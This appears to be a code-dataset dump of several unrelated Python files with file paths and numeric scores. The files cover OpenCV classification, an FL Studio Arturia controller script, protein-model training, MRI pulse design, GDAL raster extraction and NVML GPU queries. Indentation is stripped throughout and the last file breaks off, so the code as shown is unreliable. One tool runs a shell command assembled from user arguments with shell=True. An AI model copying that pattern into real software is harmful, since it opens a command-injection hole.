blob = cv.dnn.blobFromImage(frame, 1.0, (inpWidth, inpHeight), (123.68, 116.78, 103.94), True, False)
# Run the model
net.setInput(blob)
scores = net.forward(outputLayers)[0]
if np.max(scores)>confThreshold:
return True
else:
return False
if __name__ == "__main__":
# Read and store arguments
confThreshold = args.thr
inpWidth = args.width
inpHeight = args.height
input_file=args.input
model = args.model
net = cv.dnn.readNet(model)
start=time.time()
print(classify(input_file,net,confThreshold,inpHeight,inpWidth)) | 0.553505 | 0.102529 |
import arrangement
import arturia_leds
import channels
import general
import midi
import patterns
import time
import transport
import ui
from arturia_display import ArturiaDisplay
from arturia_encoders import ArturiaInputControls
from arturia_leds import ArturiaLights
from arturia_metronome import VisualMetronome
from arturia_pages import ArturiaPagedDisplay
from arturia_scheduler import Scheduler
SCRIPT_VERSION = general.getVersion()
# Enable support for FL Studio 20.7.2 (Version 7) by avoiding new APIs
if SCRIPT_VERSION >= 8:
import plugins
class ArturiaController:
"""Controller responsible for managing all the different components in a single class. """
def __init__(self):
self._scheduler = Scheduler()
self._display = ArturiaDisplay(self._scheduler)
self._paged_display = ArturiaPagedDisplay(self._display, self._scheduler)
self._lights = ArturiaLights()
self._metronome = VisualMetronome(self._lights)
self._encoders = ArturiaInputControls(self._paged_display, self._lights)
self._last_send = 0
def display(self):
return self._display
def lights(self):
return self._lights
def metronome(self):
return self._metronome
def paged_display(self):
return self._paged_display
def encoders(self):
return self._encoders
def scheduler(self):
return self._scheduler
def Sync(self, flags):
""" Syncs up all visual indicators on keyboard with changes from FL Studio. """
# Update buttons
if flags & midi.HW_Dirty_LEDs:
led_map = {
ArturiaLights.ID_TRANSPORTS_RECORD: ArturiaLights.AsOnOffByte(transport.isRecording()),
ArturiaLights.ID_TRANSPORTS_LOOP: ArturiaLights.AsOnOffByte(ui.isLoopRecEnabled()),
ArturiaLights.ID_GLOBAL_METRO: ArturiaLights.AsOnOffByte(ui.isMetronomeEnabled()),
ArturiaLights.ID_GLOBAL_SAVE: ArturiaLights.AsOnOffByte(transport.getLoopMode() == 1),
ArturiaLights.ID_GLOBAL_UNDO: ArturiaLights.AsOnOffByte(general.getUndoHistoryLast() == 0),
ArturiaLights.ID_TRACK_SOLO: ArturiaLights.AsOnOffByte(
channels.isChannelSolo(channels.selectedChannel())),
ArturiaLights.ID_TRACK_MUTE: ArturiaLights.AsOnOffByte(
channels.isChannelMuted(channels.selectedChannel())),
ArturiaLights.ID_TRANSPORTS_STOP: ArturiaLights.AsOnOffByte(not transport.isPlaying()),
ArturiaLights.ID_TRANSPORTS_PLAY: ArturiaLights.AsOnOffByte(transport.getSongPos() > 0),
ArturiaLights.ID_GLOBAL_OUT: ArturiaLights.AsOnOffByte(
arrangement.selectionEnd() > arrangement.selectionStart()),
ArturiaLights.ID_NAVIGATION_LEFT: ArturiaLights.AsOnOffByte(ui.getVisible(midi.widChannelRack)),
ArturiaLights.ID_NAVIGATION_RIGHT: ArturiaLights.AsOnOffByte(ui.getVisible(midi.widMixer)),
ArturiaLights.ID_OCTAVE_PLUS: ArturiaLights.LED_OFF,
ArturiaLights.ID_OCTAVE_MINUS: ArturiaLights.LED_OFF,
}
self._lights.SetLights(led_map)
self._encoders.Refresh()
# Update display
channel_name = channels.getChannelName(channels.selectedChannel())
pattern_number = patterns.patternNumber()
pattern_name = patterns.getPatternName(pattern_number)
update = (flags & (1024 # HW_Dirty_Patterns
| 2048 # HW_Dirty_Tracks
| 16384 # HW_Dirty_Names
| 32 # HW_Dirty_FocusedWindow (channel selection)
)
) > 0
self._paged_display.SetPageLines(
'main',
line1='[%d:%d] %s' % (channels.selectedChannel() + 1, pattern_number, channel_name),
line2='%s' % pattern_name,
update=update)
def _TurnOffOctaveLights(self):
# Disable blinking lights on octave keyboard
if time.time() - self._last_send >= 0.5:
self._lights.SetLights({
ArturiaLights.ID_OCTAVE_PLUS: ArturiaLights.LED_OFF,
ArturiaLights.ID_OCTAVE_MINUS: ArturiaLights.LED_OFF,
})
self._last_send = time.time()
def RefreshDisplay(self):
self._paged_display.Refresh()
def Idle(self):
self._scheduler.Idle()
if arturia_leds.ESSENTIAL_KEYBOARD:
self._TurnOffOctaveLights() | arturia.py | import arrangement
import arturia_leds
import channels
import general
import midi
import patterns
import time
import transport
import ui
from arturia_display import ArturiaDisplay
from arturia_encoders import ArturiaInputControls
from arturia_leds import ArturiaLights
from arturia_metronome import VisualMetronome
from arturia_pages import ArturiaPagedDisplay
from arturia_scheduler import Scheduler
SCRIPT_VERSION = general.getVersion()
# Enable support for FL Studio 20.7.2 (Version 7) by avoiding new APIs
if SCRIPT_VERSION >= 8:
import plugins
class ArturiaController:
"""Controller responsible for managing all the different components in a single class. """
def __init__(self):
self._scheduler = Scheduler()
self._display = ArturiaDisplay(self._scheduler)
self._paged_display = ArturiaPagedDisplay(self._display, self._scheduler)
self._lights = ArturiaLights()
self._metronome = VisualMetronome(self._lights)
self._encoders = ArturiaInputControls(self._paged_display, self._lights)
self._last_send = 0
def display(self):
return self._display
def lights(self):
return self._lights
def metronome(self):
return self._metronome
def paged_display(self):
return self._paged_display
def encoders(self):
return self._encoders
def scheduler(self):
return self._scheduler
def Sync(self, flags):
""" Syncs up all visual indicators on keyboard with changes from FL Studio. """
# Update buttons
if flags & midi.HW_Dirty_LEDs:
led_map = {
ArturiaLights.ID_TRANSPORTS_RECORD: ArturiaLights.AsOnOffByte(transport.isRecording()),
ArturiaLights.ID_TRANSPORTS_LOOP: ArturiaLights.AsOnOffByte(ui.isLoopRecEnabled()),
ArturiaLights.ID_GLOBAL_METRO: ArturiaLights.AsOnOffByte(ui.isMetronomeEnabled()),
ArturiaLights.ID_GLOBAL_SAVE: ArturiaLights.AsOnOffByte(transport.getLoopMode() == 1),
ArturiaLights.ID_GLOBAL_UNDO: ArturiaLights.AsOnOffByte(general.getUndoHistoryLast() == 0),
ArturiaLights.ID_TRACK_SOLO: ArturiaLights.AsOnOffByte(
channels.isChannelSolo(channels.selectedChannel())),
ArturiaLights.ID_TRACK_MUTE: ArturiaLights.AsOnOffByte(
channels.isChannelMuted(channels.selectedChannel())),
ArturiaLights.ID_TRANSPORTS_STOP: ArturiaLights.AsOnOffByte(not transport.isPlaying()),
ArturiaLights.ID_TRANSPORTS_PLAY: ArturiaLights.AsOnOffByte(transport.getSongPos() > 0),
ArturiaLights.ID_GLOBAL_OUT: ArturiaLights.AsOnOffByte(
arrangement.selectionEnd() > arrangement.selectionStart()),
ArturiaLights.ID_NAVIGATION_LEFT: ArturiaLights.AsOnOffByte(ui.getVisible(midi.widChannelRack)),
ArturiaLights.ID_NAVIGATION_RIGHT: ArturiaLights.AsOnOffByte(ui.getVisible(midi.widMixer)),
ArturiaLights.ID_OCTAVE_PLUS: ArturiaLights.LED_OFF,
ArturiaLights.ID_OCTAVE_MINUS: ArturiaLights.LED_OFF,
}
self._lights.SetLights(led_map)
self._encoders.Refresh()
# Update display
channel_name = channels.getChannelName(channels.selectedChannel())
pattern_number = patterns.patternNumber()
pattern_name = patterns.getPatternName(pattern_number)
update = (flags & (1024 # HW_Dirty_Patterns
| 2048 # HW_Dirty_Tracks
| 16384 # HW_Dirty_Names
| 32 # HW_Dirty_FocusedWindow (channel selection)
)
) > 0
self._paged_display.SetPageLines(
'main',
line1='[%d:%d] %s' % (channels.selectedChannel() + 1, pattern_number, channel_name),
line2='%s' % pattern_name,
update=update)
def _TurnOffOctaveLights(self):
# Disable blinking lights on octave keyboard
if time.time() - self._last_send >= 0.5:
self._lights.SetLights({
ArturiaLights.ID_OCTAVE_PLUS: ArturiaLights.LED_OFF,
ArturiaLights.ID_OCTAVE_MINUS: ArturiaLights.LED_OFF,
})
self._last_send = time.time()
def RefreshDisplay(self):
self._paged_display.Refresh()
def Idle(self):
self._scheduler.Idle()
if arturia_leds.ESSENTIAL_KEYBOARD:
self._TurnOffOctaveLights() | 0.479747 | 0.099121 |
import sys
import os
from shutil import copyfile
GLOBAL_PATH='/Users/heitorsampaio/Google_Drive/Projetos/Protein_DeepLearning/DeepPM'
sys.path.insert(0, GLOBAL_PATH+'/lib')
from library import load_train_test_data_padding_with_interval,K_max_pooling1d,DLS2F_train_complex_win_filter_layer_opt
if len(sys.argv) != 12:
print('please input the right parameters: interval')
sys.exit(1)
inter=int(sys.argv[1]) #15
nb_filters=int(sys.argv[2]) #10
nb_layers=int(sys.argv[3]) #10
opt=sys.argv[4] #nadam
filtsize=sys.argv[5] #6_10
hidden_num=int(sys.argv[6]) #500
ktop_node=int(sys.argv[7]) #30
out_epoch=int(sys.argv[8]) #100
in_epoch=int(sys.argv[9]) #3
datadir = sys.argv[10]
outputdir = sys.argv[11]
train_datafile=datadir+'/Traindata.list'
val_datafile=datadir+'/validation.list'
test_datafile=datadir+'/Testdata.list'
CV_dir=outputdir+'/interative_filter'+str(nb_filters)+'_layers'+str(nb_layers)+'_opt'+str(opt)+'_ftsize'+str(filtsize)+'_hn'+str(hidden_num)+'_ktop_node'+str(ktop_node);
modelfile = CV_dir+'/model-train-DLS2F.json'
weightfile = CV_dir+'/model-train-weight-DLS2F.h5'
weightfile_best = CV_dir+'/model-train-weight-DLS2F-best-val.h5'
if os.path.exists(modelfile):
cmd1='rm '+ modelfile
print("Running ", cmd1,"\n\n")
os.system(cmd1)
if os.path.exists(weightfile_best):
cmd1='cp '+ weightfile_best + ' ' + weightfile
print("Running ", cmd1,"\n\n")
os.system(cmd1)
filetsize_array = list(map(int,filtsize.split("_")))
if not os.path.exists(CV_dir):
os.makedirs(CV_dir)
import time
data_all_dict_padding_interval15 = load_train_test_data_padding_with_interval(datadir, inter, 'kmax30',ktop_node,1150,train=True)
testdata_all_dict_padding_interval15 = load_train_test_data_padding_with_interval(datadir,inter, 'kmax30',ktop_node,1150,train=False)
start_time = time.time()
DLS2F_train_complex_win_filter_layer_opt(data_all_dict_padding_interval15,testdata_all_dict_padding_interval15,train_datafile,val_datafile,test_datafile,CV_dir,"DLS2F",out_epoch,in_epoch,1150,filetsize_array,True,'sigmoid',nb_filters,nb_layers,opt,hidden_num,ktop_node)
print(("--- %s seconds ---" % (time.time() - start_time))) | training/training_main.py | import sys
import os
from shutil import copyfile
GLOBAL_PATH='/Users/heitorsampaio/Google_Drive/Projetos/Protein_DeepLearning/DeepPM'
sys.path.insert(0, GLOBAL_PATH+'/lib')
from library import load_train_test_data_padding_with_interval,K_max_pooling1d,DLS2F_train_complex_win_filter_layer_opt
if len(sys.argv) != 12:
print('please input the right parameters: interval')
sys.exit(1)
inter=int(sys.argv[1]) #15
nb_filters=int(sys.argv[2]) #10
nb_layers=int(sys.argv[3]) #10
opt=sys.argv[4] #nadam
filtsize=sys.argv[5] #6_10
hidden_num=int(sys.argv[6]) #500
ktop_node=int(sys.argv[7]) #30
out_epoch=int(sys.argv[8]) #100
in_epoch=int(sys.argv[9]) #3
datadir = sys.argv[10]
outputdir = sys.argv[11]
train_datafile=datadir+'/Traindata.list'
val_datafile=datadir+'/validation.list'
test_datafile=datadir+'/Testdata.list'
CV_dir=outputdir+'/interative_filter'+str(nb_filters)+'_layers'+str(nb_layers)+'_opt'+str(opt)+'_ftsize'+str(filtsize)+'_hn'+str(hidden_num)+'_ktop_node'+str(ktop_node);
modelfile = CV_dir+'/model-train-DLS2F.json'
weightfile = CV_dir+'/model-train-weight-DLS2F.h5'
weightfile_best = CV_dir+'/model-train-weight-DLS2F-best-val.h5'
if os.path.exists(modelfile):
cmd1='rm '+ modelfile
print("Running ", cmd1,"\n\n")
os.system(cmd1)
if os.path.exists(weightfile_best):
cmd1='cp '+ weightfile_best + ' ' + weightfile
print("Running ", cmd1,"\n\n")
os.system(cmd1)
filetsize_array = list(map(int,filtsize.split("_")))
if not os.path.exists(CV_dir):
os.makedirs(CV_dir)
import time
data_all_dict_padding_interval15 = load_train_test_data_padding_with_interval(datadir, inter, 'kmax30',ktop_node,1150,train=True)
testdata_all_dict_padding_interval15 = load_train_test_data_padding_with_interval(datadir,inter, 'kmax30',ktop_node,1150,train=False)
start_time = time.time()
DLS2F_train_complex_win_filter_layer_opt(data_all_dict_padding_interval15,testdata_all_dict_padding_interval15,train_datafile,val_datafile,test_datafile,CV_dir,"DLS2F",out_epoch,in_epoch,1150,filetsize_array,True,'sigmoid',nb_filters,nb_layers,opt,hidden_num,ktop_node)
print(("--- %s seconds ---" % (time.time() - start_time))) | 0.080259 | 0.059839 |
import torch
import adpulses
from adpulses import io, optimizers, metrics, penalties
if __name__ == "__main__":
import sys
if len(sys.argv) <= 1: # mode DEBUG
import os
os.chdir(os.path.dirname(os.path.abspath(__file__)))
m2pName = ('m2p.mat' if len(sys.argv) <= 1 else sys.argv[1])
p2mName = ('p2m.mat' if len(sys.argv) <= 2 else sys.argv[2])
gpuID = ('0' if len(sys.argv) <= 3 else sys.argv[3])
# %% load
if gpuID == '-1':
dkw = {'device': torch.device('cpu'), 'dtype': torch.float32}
else:
dkw = {'device': torch.device('cuda:'+gpuID), 'dtype': torch.float32}
target, cube, pulse, arg = io.m2p(m2pName, **dkw)
def dflt_arg(k, v, fn):
return (fn(k) if ((k in arg.keys()) and (arg[k].size > 0)) else v)
arg['doRelax'] = dflt_arg('doRelax', True, lambda k: bool(arg[k].item()))
arg['b1Map_'] = dflt_arg('b1Map_', None,
lambda k: f_tensor(f_c2r_np(arg[k], -2)))
arg['niter'] = dflt_arg('niter', 10, lambda k: arg[k].item())
arg['niter_gr'] = dflt_arg('niter_gr', 2, lambda k: arg[k].item())
arg['niter_rf'] = dflt_arg('niter_rf', 2, lambda k: arg[k].item())
arg['nB'] = dflt_arg('nB', 100, lambda k: arg[k].item())
arg['isHead'] = dflt_arg('isHead', True, lambda k: bool(arg[k].item()))
eta = dflt_arg('eta', 4, lambda k: float(arg[k].item()))
print('eta: ', eta)
err_meth = dflt_arg('err_meth', 'l2xy', lambda k: arg[k].item())
pen_meth = dflt_arg('pen_meth', 'l2', lambda k: arg[k].item())
err_hash = {'null': metrics.err_null,
'l2xy': metrics.err_l2xy, 'ml2xy': metrics.err_ml2xy,
'l2z': metrics.err_l2z}
pen_hash = {'null': penalties.pen_null, 'l2': penalties.pen_l2}
fn_err, fn_pen = err_hash[err_meth], pen_hash[pen_meth]
# %% pulse design
kw = {k: arg[k] for k in ('b1Map_', 'niter', 'niter_gr', 'niter_rf', 'nB',
'isHead', 'doRelax')}
pulse, optInfos = optimizers.parctanLBFGS(target, cube, pulse,
fn_err, fn_pen, eta=eta, **kw)
# %% saving
io.p2m(p2mName, pulse, optInfos) | +adpulses/+opt/parctanAD.py |
import torch
import adpulses
from adpulses import io, optimizers, metrics, penalties
if __name__ == "__main__":
import sys
if len(sys.argv) <= 1: # mode DEBUG
import os
os.chdir(os.path.dirname(os.path.abspath(__file__)))
m2pName = ('m2p.mat' if len(sys.argv) <= 1 else sys.argv[1])
p2mName = ('p2m.mat' if len(sys.argv) <= 2 else sys.argv[2])
gpuID = ('0' if len(sys.argv) <= 3 else sys.argv[3])
# %% load
if gpuID == '-1':
dkw = {'device': torch.device('cpu'), 'dtype': torch.float32}
else:
dkw = {'device': torch.device('cuda:'+gpuID), 'dtype': torch.float32}
target, cube, pulse, arg = io.m2p(m2pName, **dkw)
def dflt_arg(k, v, fn):
return (fn(k) if ((k in arg.keys()) and (arg[k].size > 0)) else v)
arg['doRelax'] = dflt_arg('doRelax', True, lambda k: bool(arg[k].item()))
arg['b1Map_'] = dflt_arg('b1Map_', None,
lambda k: f_tensor(f_c2r_np(arg[k], -2)))
arg['niter'] = dflt_arg('niter', 10, lambda k: arg[k].item())
arg['niter_gr'] = dflt_arg('niter_gr', 2, lambda k: arg[k].item())
arg['niter_rf'] = dflt_arg('niter_rf', 2, lambda k: arg[k].item())
arg['nB'] = dflt_arg('nB', 100, lambda k: arg[k].item())
arg['isHead'] = dflt_arg('isHead', True, lambda k: bool(arg[k].item()))
eta = dflt_arg('eta', 4, lambda k: float(arg[k].item()))
print('eta: ', eta)
err_meth = dflt_arg('err_meth', 'l2xy', lambda k: arg[k].item())
pen_meth = dflt_arg('pen_meth', 'l2', lambda k: arg[k].item())
err_hash = {'null': metrics.err_null,
'l2xy': metrics.err_l2xy, 'ml2xy': metrics.err_ml2xy,
'l2z': metrics.err_l2z}
pen_hash = {'null': penalties.pen_null, 'l2': penalties.pen_l2}
fn_err, fn_pen = err_hash[err_meth], pen_hash[pen_meth]
# %% pulse design
kw = {k: arg[k] for k in ('b1Map_', 'niter', 'niter_gr', 'niter_rf', 'nB',
'isHead', 'doRelax')}
pulse, optInfos = optimizers.parctanLBFGS(target, cube, pulse,
fn_err, fn_pen, eta=eta, **kw)
# %% saving
io.p2m(p2mName, pulse, optInfos) | 0.413359 | 0.221224 |
import gdal
import numpy as np
from tqdm import tqdm
import argparse
import pandas as pd
import os
import subprocess
def main():
parser = argparse.ArgumentParser(
description='efficiently extract data from a vector file and multiple accompanying rasters')
parser.add_argument('crown_file', type=str)
parser.add_argument('out_file', type=str)
parser.add_argument('-crown_shape_file', type=str, default=None)
parser.add_argument('-shp_attribute', type=str, default='id')
parser.add_argument('-source_files', nargs='+', type=str)
args = parser.parse_args()
# Open / check all raster files. Check is very cursory.
file_sets = [gdal.Open(fi, gdal.GA_ReadOnly) for fi in args.source_files]
n_features = 0
for _f in range(len(file_sets)):
assert file_sets[_f] is not None, 'Invalid input file'
if (file_sets[_f].RasterXSize != file_sets[0].RasterXSize):
print('Raster X Size does not match, terminiating')
quit()
if (file_sets[_f].RasterYSize != file_sets[0].RasterYSize):
print('Raster Y Size does not match, terminiating')
quit()
n_features += file_sets[_f].RasterCount
if (args.crown_shape_file is not None):
print('Rasterizing crown shape file')
if (os.path.isfile(args.crown_file)):
print('crown_file raster already exists at {}, please remove file to re-rasterize or remove -crown_shape_file argument to use the existing raster'.format(args.crown_file))
quit()
trans = file_sets[0].GetGeoTransform()
cmd_str = 'gdal_rasterize {} {} -a {} -te {} {} {} {} -tr {} {} -init -1'.format(
args.crown_shape_file,
args.crown_file,
args.shp_attribute,
trans[0],
trans[3]+trans[5]*file_sets[0].RasterYSize,
trans[0]+trans[1]*file_sets[0].RasterXSize,
trans[3],
trans[1],
trans[5])
print(cmd_str)
subprocess.call(cmd_str, shell=True)
# Open binary crown file
crown_set = gdal.Open(args.crown_file, gdal.GA_ReadOnly)
crown_trans = crown_set.GetGeoTransform()
assert crown_set is not None, 'Invalid input file'
# Get crown coordinates
crowns = crown_set.ReadAsArray()
crown_coords = np.where(crowns != -1)
# Read through files and grab relevant data
output_array = np.zeros((len(crown_coords[0]), n_features + 3))
for _line in tqdm(range(len(crown_coords[0])), ncols=80):
output_array[_line, 0] = crowns[crown_coords[0][_line], crown_coords[1][_line]]
output_array[_line, 1] = crown_coords[1][_line]*crown_trans[1]+crown_trans[0]
output_array[_line, 2] = crown_coords[0][_line]*crown_trans[5]+crown_trans[3]
feat_ind = 3
for _f in range(len(file_sets)):
line = file_sets[_f].ReadAsArray(
0, int(crown_coords[0][_line]), file_sets[_f].RasterXSize, 1)
if (len(line.shape) == 2):
line = np.reshape(line, (1, line.shape[0], line.shape[1]))
line = np.squeeze(line[..., crown_coords[1][_line]])
output_array[_line, feat_ind:feat_ind+file_sets[_f].RasterCount] = line.copy()
feat_ind += file_sets[_f].RasterCount
# Export
header = ['ID', 'X_UTM', 'Y_UTM']
for _f in range(len(file_sets)):
header.extend([os.path.splitext(os.path.basename(args.source_files[_f]))[0]
[-4:] + '_B_' + str(n+1) for n in range(file_sets[_f].RasterCount)])
out_df = pd.DataFrame(data=output_array, columns=header)
out_df.to_csv(args.out_file, sep=',', index=False)
if __name__ == "__main__":
main() | extract_aop_data_from_mosaics.py | import gdal
import numpy as np
from tqdm import tqdm
import argparse
import pandas as pd
import os
import subprocess
def main():
parser = argparse.ArgumentParser(
description='efficiently extract data from a vector file and multiple accompanying rasters')
parser.add_argument('crown_file', type=str)
parser.add_argument('out_file', type=str)
parser.add_argument('-crown_shape_file', type=str, default=None)
parser.add_argument('-shp_attribute', type=str, default='id')
parser.add_argument('-source_files', nargs='+', type=str)
args = parser.parse_args()
# Open / check all raster files. Check is very cursory.
file_sets = [gdal.Open(fi, gdal.GA_ReadOnly) for fi in args.source_files]
n_features = 0
for _f in range(len(file_sets)):
assert file_sets[_f] is not None, 'Invalid input file'
if (file_sets[_f].RasterXSize != file_sets[0].RasterXSize):
print('Raster X Size does not match, terminiating')
quit()
if (file_sets[_f].RasterYSize != file_sets[0].RasterYSize):
print('Raster Y Size does not match, terminiating')
quit()
n_features += file_sets[_f].RasterCount
if (args.crown_shape_file is not None):
print('Rasterizing crown shape file')
if (os.path.isfile(args.crown_file)):
print('crown_file raster already exists at {}, please remove file to re-rasterize or remove -crown_shape_file argument to use the existing raster'.format(args.crown_file))
quit()
trans = file_sets[0].GetGeoTransform()
cmd_str = 'gdal_rasterize {} {} -a {} -te {} {} {} {} -tr {} {} -init -1'.format(
args.crown_shape_file,
args.crown_file,
args.shp_attribute,
trans[0],
trans[3]+trans[5]*file_sets[0].RasterYSize,
trans[0]+trans[1]*file_sets[0].RasterXSize,
trans[3],
trans[1],
trans[5])
print(cmd_str)
subprocess.call(cmd_str, shell=True)
# Open binary crown file
crown_set = gdal.Open(args.crown_file, gdal.GA_ReadOnly)
crown_trans = crown_set.GetGeoTransform()
assert crown_set is not None, 'Invalid input file'
# Get crown coordinates
crowns = crown_set.ReadAsArray()
crown_coords = np.where(crowns != -1)
# Read through files and grab relevant data
output_array = np.zeros((len(crown_coords[0]), n_features + 3))
for _line in tqdm(range(len(crown_coords[0])), ncols=80):
output_array[_line, 0] = crowns[crown_coords[0][_line], crown_coords[1][_line]]
output_array[_line, 1] = crown_coords[1][_line]*crown_trans[1]+crown_trans[0]
output_array[_line, 2] = crown_coords[0][_line]*crown_trans[5]+crown_trans[3]
feat_ind = 3
for _f in range(len(file_sets)):
line = file_sets[_f].ReadAsArray(
0, int(crown_coords[0][_line]), file_sets[_f].RasterXSize, 1)
if (len(line.shape) == 2):
line = np.reshape(line, (1, line.shape[0], line.shape[1]))
line = np.squeeze(line[..., crown_coords[1][_line]])
output_array[_line, feat_ind:feat_ind+file_sets[_f].RasterCount] = line.copy()
feat_ind += file_sets[_f].RasterCount
# Export
header = ['ID', 'X_UTM', 'Y_UTM']
for _f in range(len(file_sets)):
header.extend([os.path.splitext(os.path.basename(args.source_files[_f]))[0]
[-4:] + '_B_' + str(n+1) for n in range(file_sets[_f].RasterCount)])
out_df = pd.DataFrame(data=output_array, columns=header)
out_df.to_csv(args.out_file, sep=',', index=False)
if __name__ == "__main__":
main() | 0.253676 | 0.190913 |
from pynvml import *
import json
# 系列名称
brandNames = {
NVML_BRAND_UNKNOWN: "Unknown",
NVML_BRAND_QUADRO: "Quadro",
NVML_BRAND_TESLA: "Tesla",
NVML_BRAND_NVS: "NVS",
NVML_BRAND_GRID: "Grid",
NVML_BRAND_GEFORCE: "GeForce",
}
# 首先应该初始化nvmlInit()
# 返回错误类型
def handleError(err):
info = {'error_info':err.__str__()}
return info
# 获取GPU的数量
def GpuGetCounts():
info = {'counts':nvmlDeviceGetCount()}
return info
def ValidIndex(index):
if int(index) >= nvmlDeviceGetCount() or int(index) < 0:
return False
else:
return True
# 获取设备名称
def GpuGetDeviceName(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info':'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
device_name = nvmlDeviceGetName(handle).decode('utf-8')
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'device_name':device_name}
return info
# 获取设备系列
def GpuGetDeviceBrand(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
brand_name = brandNames[nvmlDeviceGetBrand(handle)]
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'brand_name':brand_name}
return info
# 获取persistence_mode
def GpuGetDevicePersistenceModel(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
mode = 'Enabled' if (nvmlDeviceGetPersistenceMode(handle) != 0) \
else 'Disabled'
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'mode':mode}
return info
# 获取设备的UUID
def GpuGetDeviceUUID(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
uuid = nvmlDeviceGetUUID(handle).decode('utf-8')
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'uuid':uuid}
return info
# 获取风扇转速
def GpuGetDeviceFanSpeed(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
fan = str(nvmlDeviceGetFanSpeed(handle))
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'fan':fan}
return info
# 获取工作状态,功耗状态
def GpuGetDevicePerformanceState(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
perfState = nvmlDeviceGetPowerState(handle)
state = 'P%s' % perfState
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'power_state':state}
return info
# 获取Gpu内存使用情况,GB
def GpuGetDeviceMemory(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
mem_info = nvmlDeviceGetMemoryInfo(handle)
mem_total = str(mem_info.total / 1024 / 1024 / 1024)
mem_used = str(mem_info.used / 1024 / 1024 / 1024)
mem_free = str(mem_info.total / 1024 / 1024 /1024 - \
mem_info.used / 1024 / 1024 /1024)
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'mem_total':mem_total,
'mem_used':mem_used,
'mem_free':mem_free}
info = info
return info
# Bar1 内存使用 尚未明确这个数据在GPU架构中的角色,MB
def GpuGetDeviceBar1Memory(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
memInfo = nvmlDeviceGetBAR1MemoryInfo(handle)
mem_total = str(memInfo.bar1Total / 1024 / 1024)
mem_used = str(memInfo.bar1Used / 1024 / 1024)
mem_free = str(memInfo.bar1Total / 1024 / 1024 - \
memInfo.bar1Used / 1024 / 1024)
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'mem_total': mem_total,
'mem_used': mem_used,
'mem_free': mem_free}
info = info
return info
# 获取温度
def GpuGetDeviceTemperature(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
temp = str(nvmlDeviceGetTemperature(handle, NVML_TEMPERATURE_GPU))
temp_shutdown = str(nvmlDeviceGetTemperatureThreshold(handle,
NVML_TEMPERATURE_THRESHOLD_SHUTDOWN))
temp_slowdown = str(nvmlDeviceGetTemperatureThreshold(handle,
NVML_TEMPERATURE_THRESHOLD_SLOWDOWN))
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {"cur_temp":temp,
"temp_shutdown":temp_shutdown,
"temp_slowdown":temp_slowdown}
return info
# 获取设备利用率
def GpuGetDeviceUtilization(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
util = nvmlDeviceGetUtilizationRates(handle)
(util_int, ssize) = nvmlDeviceGetEncoderUtilization(handle)
encoder_util = str(util_int)
(util_int, ssize) = nvmlDeviceGetDecoderUtilization(handle)
decoder_util = str(util_int)
gpu_util = str(util.gpu)
mem_util = str(util.memory)
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'gpu_util': gpu_util,
'mem_util': mem_util,
'encoder_util': encoder_util,
'decoder_util':decoder_util
}
return info
# 获取设备使用功率
def GpuGetDevicePowerUsage(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
powDraw = (nvmlDeviceGetPowerUsage(handle) / 1000.0) # 功率消耗
powDrawStr = '%.2f' % powDraw
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {'power_usage':powDrawStr}
return info
# 返回gpu的功率信息
def GpuGetDevicePowerInfo(gpu_index):
if not ValidIndex(gpu_index):
error_info = {'error_info': 'error gpu index'}
return error_info
try:
handle = nvmlDeviceGetHandleByIndex(gpu_index)
powMan = nvmlDeviceGetPowerManagementMode(handle)
powManStr = 'Supported' if powMan != 0 else 'N/A'
powLimit = (nvmlDeviceGetPowerManagementLimit(handle) / 1000.0)
# 设定的功率上限
setting_powLimit = '%.2f W' % powLimit
powLimit = (nvmlDeviceGetPowerManagementDefaultLimit(handle) / 1000.0)
default_powLimit = '%.2f W' % powLimit
powLimit = nvmlDeviceGetPowerManagementLimitConstraints(handle)
#强制的功率上下限
powLimitStrMin = '%.2f W' % (powLimit[0] / 1000.0)
powLimitStrMax = '%.2f W' % (powLimit[1] / 1000.0)
powLimit = (nvmlDeviceGetEnforcedPowerLimit(handle) / 1000.0)
# 强制的功率限制,与设定的功率上限类似?
enforcedPowLimitStr = '%.2f W' % powLimit
except NVMLError as err:
error_info = handleError(err)
return error_info
else:
info = {}
info['bool_managementmode'] = powManStr
info['setting_powLimit'] = setting_powLimit
info['default_powLimit'] = default_powLimit
info['enforcedPowLimitStr'] = enforcedPowLimitStr # 与设定的限制有差别?待定
